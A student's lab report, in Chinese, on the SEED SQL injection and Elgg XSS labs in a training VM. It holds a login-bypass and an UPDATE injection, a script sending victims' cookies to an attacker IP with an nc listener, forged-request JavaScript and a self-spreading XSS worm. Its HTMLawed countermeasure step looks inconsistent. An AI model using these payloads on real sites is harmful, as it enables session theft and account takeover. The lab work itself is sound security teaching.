1. 程式人生 > 其它 >20212909 2021-2022-2 《網路攻防實踐》實踐十報告

20212909 2021-2022-2 《網路攻防實踐》實踐十報告

20212909 2021-2022-2 《網路攻防實踐》實踐十報告

一、實踐內容

  • 1.SEED SQL注入攻擊與防禦實驗
    我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:
    熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
    對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
    對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
    SQL對抗:修復上述SQL注入攻擊漏洞。
  • 2.SEED XSS跨站指令碼攻擊實驗(Elgg)
    為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。
    釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
    彈窗顯示cookie資訊:將cookie資訊顯示。
    竊取受害者的cookies:將cookie傳送給攻擊者。
    成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
    修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
    編寫XSS蠕蟲。
    對抗XSS攻擊。

實踐環境:SEED_UbuntuU 16.04.2 LTS

二、實踐過程

  • SEED SQL注入攻擊與防禦實驗
    1.輸入命令mysql -u root -p登入mysql,密碼:seedubuntu。

    2.輸入show databases;檢視所有資料庫。

    3.輸入use Users,使用Users這個庫,輸入show tables檢視所有的表。

    4.輸入select * from credential;檢視credential這張表的所有內容。

    5.輸入select * from credential where Name='Alice';以name=Alice為條件,檢視Alice的所有資訊

    6.開啟瀏覽器,輸入www.SEEDLabSQLInjection.com
    ,進入WEB介面,按F12檢視原始碼,然後在登入框隨便輸入一些資訊。


    可以看到,WEB將資訊傳送到了unsafe_home.php。
    7.在瀏覽器介面輸入/var/www/SQLInjection/unsafe_home.php命令,將檔案儲存下來,開啟檢視原始碼。

    發現其關鍵程式碼的sql語句。
    8.構造sql語句Admin'#作為登入名,#代表將後邊的輸入密碼的部分註釋掉,密碼部分為空,登入成功。


    9.進入管理介面,將Admin的工資改為12345,同樣的方法,發現在管理介面輸入的引數,傳到了unsafe_edit_backend介面,在瀏覽器輸入/var/www/SQLInjection/unsafe_edit_backend.php,將檔案儲存至本地,開啟檢視其原始碼。




    10.構造sql語句',Salary='12345' where name='Admin';#,輸入到NickName一欄,儲存,工資修改成功

  • SEED XSS跨站指令碼攻擊實驗(Elgg)
  • 釋出惡意訊息,顯示警報視窗
    1.點選如圖按鈕,進入xss Lab site,登入Alice賬號,密碼:seedalice。

    2.如圖順序進入編輯Alice資訊介面,在Brief Description一欄輸入<script>alert("XSS");</script>,儲存,返回之前的介面2,出現彈窗,攻擊成功。



  • 彈窗顯示 cookie 資訊
    3.在Brief Description一欄輸入<script>alert(document.cookie);</script>,儲存,返回之前的介面2,出現cookie資訊彈窗,攻擊成功。

  • 竊取受害者的 cookies
    4.檢視本機IP地址,在Brief Description一欄輸入<script>document.write('<img src=http://192.168.200.14:5555?c='+escape(document.cookie)+'>');alert("xss success");</script>,在終端輸入nc -l 5555 -v命令監聽5555埠,儲存Alice的資訊後,監聽到cookie資訊,攻擊成功。


  • 成為受害者的朋友
    5.在瀏覽器輸入http://www.xsslabelgg.com/profile/boby,檢視Boby介面,檢視網頁原始碼,點選Add friend介面,發現資訊發往了http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652732463&__elgg_token=DA14ZydedxoMfoG1CbgYo
    構造JS程式碼
<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	  //傳送 Ajax 請求
	  Ajax = new XMLHttpRequest();
	  Ajax.open("GET", sendurl, true);
	  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	  Ajax.send();
}
</script>

在Alice的編輯介面的About me 一欄輸入構造的JS程式碼,注意是Visual editor 介面,儲存。

6.登入Boby賬號,密碼:seedboby。

訪問Alice介面http://www.xsslabelgg.com/profile/alice,重新整理Boby賬號,發現Boby已自動新增Alice為好友,攻擊成功。

  • 修改受害者的資訊
    7.檢視編輯Alice資訊介面的原始碼,編輯About me內容,發現訪問了http://www.xsslabelgg.com/action/profile/edit
    構造JS程式碼
<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

在Alice的編輯介面的About me 一欄輸入構造的JS程式碼,注意是Visual editor 介面,儲存。


8.登入Boby賬號,密碼:seedboby。訪問Alice介面後重新整理,發現Boby的About me 被攻擊成功。

  • 編寫XSS蠕蟲
    9.登入Alice介面,修改About me 內容,構造JS程式碼
<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

在Alice的編輯介面的About me 一欄輸入構造的JS程式碼,注意是Visual editor 介面,儲存。
10.登入Boby賬號,密碼:seedboby。訪問Alice介面後重新整理,發現Boby的About me 被攻擊成功,登入Samy賬號,密碼:seedsamy,訪問Boby頁面http://www.xsslabelgg.com/profile/boby,重新整理Samy頁面,Samy的About me 內容也被修改,蠕蟲攻擊成功。



  • XXS對抗
    11.登入Admin賬號,密碼:seedelgg,按如圖順序選擇plugins,點選HTMLawed,使它不可用。




    12.重新登入Alicez賬號,密碼:seedalice,發現程式碼顯示到了About me,攻擊失效。

三、問題和解決方法

P1:Admin的賬號密碼視訊中沒有。
Solu1:從同學那得知,但不知道他們怎麼知道的。

四、感想

通過本次實驗,學習到了一些SQL注入攻擊與防禦實驗的方法和技巧,以及如何通過Web資訊,構造SEED XSS跨站指令碼來進行攻擊,瞭解了其基本原理,但是想要真正對成熟的Web框架構成攻擊,還是要學習更多的東西。